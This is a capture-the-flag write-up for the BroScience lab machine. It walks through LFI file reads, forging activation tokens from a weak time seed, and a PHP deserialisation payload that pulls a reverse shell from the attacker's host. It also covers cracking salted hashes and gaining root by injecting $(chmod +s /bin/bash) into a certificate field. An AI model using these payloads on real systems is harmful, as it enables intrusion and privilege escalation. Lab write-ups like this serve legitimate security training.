$ nmap -p- --min-rate 3000 10.129.127.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-10 22:54 EST
Nmap scan report for 10.129.127.134
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
We have two HTTP ports, and we would have to add broscience.htb to our /etc/hosts file in order to access them. Visiting port 80 redirects us to the HTTPS site.
Vhost and directory scans don't reveal much regarding this.
BroScience Enumeration
We can take note that there is an administrator user present on the website, as they have made posts. Also, there's a login feature for this website. We are redirected to login.php when we click on Log In.
Within each post, there's an Add Comment functionality that requires us to be logged in. I attempted to register an account, but this didn't work because we had to find an activation link.
So there's an activation link of some sort. I ran a directory scan for .php files on the website, and found quite a few.
From here, we can see that is a postgres and bill user on the machine. Now, I wanted to read the files located within the machine to find some useful files within the /includes directory.
I was able to read the db_connect.php file by double URL encoding ../includes/db_connect.php and passing it as the parameter.
Trying this credential found does not work anywhere though. So I read the other files, and the utils.php file contained some useful information about how the activation code was generated.
We can see that this uses srand(time()) to generate the code. I found a few sources saying how this was a bad seed for a token as it can be predictable.
Perhaps we had to spoof the token somehow via brute force. We can also check activate.php, which we found earlier.
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
There is an account query being made, and regex is used to detect the presence of a 32-character long code. For this, we can simply use the fact that when we register an account, there is a specific time on the system being used at that moment to generate our activation token in the database.
This is the HTTP response when we submit a new register request:
HTTP/1.1 200 OK
Date: Wed, 11 Jan 2023 04:26:56 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2409
Connection: close
Content-Type: text/html; charset=UTF-8
Notice that there's a specific time specified by the machine. Perhaps we can just use this time to generate our activation cookie and then head to activate.php which asks for a code parameter. So, we can first copy the code used to generate the activation_code parameter.
Then, we can change the usage of time() to strtotime('Wed, 11 Jan 2023 04:41:37 GMT'), which is the time I registered a new account. The end script and output looks like this:
Afterwards, we use this token variable at activate.php.
Afterwards, we can just login as the user.
PHP Deserialisation
When reading the utils.php code some more, I found a few interesting bits. First is a hint to use deserialisation to exploit the machine, and a class called Avatar to exploit it with.
utils.php
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
# Avatar Class elsewhere with f
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
The function is called via the swap_theme.php file. (use LFI to read)
swap_theme.php
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}
Here's a good article to read on exploiting PHP deserialisation:
Now, within the Avatar class, we can see a __construct function being used, which is invoked when an object is created. The class also takes in tmp file and writes it out on the machine.
So the exploit path is simple:
Create a new object via injection
Have the machine use fopen to read a file (via HTTP) and write it to the machine. This file would be a reverse shell.
Then, we need to generate a cookie using specific values from the classes. A simple script with pre-defined variables to serialise and create our cookie suffices.
evil.php
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.4/rev.php";
public $imgPath = "./rev.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$serialized = base64_encode(serialize(new AvatarInterface))
echo $serialized
?>
$ php evil.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjQvcmV2LnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vcmV2LnBocCI7fQ==
Then, we can simply send a request with this the output as the cookie. We would get a few hits on our HTTP server.
Then we can simply curl it to gain a reverse shell.
Privilege Escalation
PostgreSQL Creds
Earlier, we found a db_connect.php file that contained some credentials. We can attempt to access the PostgreSQL instance listening on port 5432 on the machine.
We can use \d to read the tables present on the machine.
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
Then, we can read the stuff in the users file.
We would find lots of hashes. Since the user on the machine is bill, let's attempt to crack his hash. The db_connect.php file did have a salt for the hashes as "NaCl". Using this, we can generate a wordlist based on rockyou.txt with this salt prepended to all the words.
cp /usr/share/wordlists/rockyou.txt .
sed -i 's|^|NaCl|g' rockyou.txt
Then, we can use hashcat to crack the hash.
The part without the salt is the password that we can use to SSH in as bill.
Renew_cert.sh
Within the /opt directory, there's a renew_cert.sh file.
Very obviously, the commonName parameter is where we would store our payload to become root. We can use openssl to generate a quick cert to exploit this and create an SUID bash binary. We can leave all the other parameters blank except for the Common Name.
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt
Generating a RSA private key
.....................................................................................++++
....................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /bin/bash)
Email Address []:
After a while, it would execute and allow us to spawn in a root shell.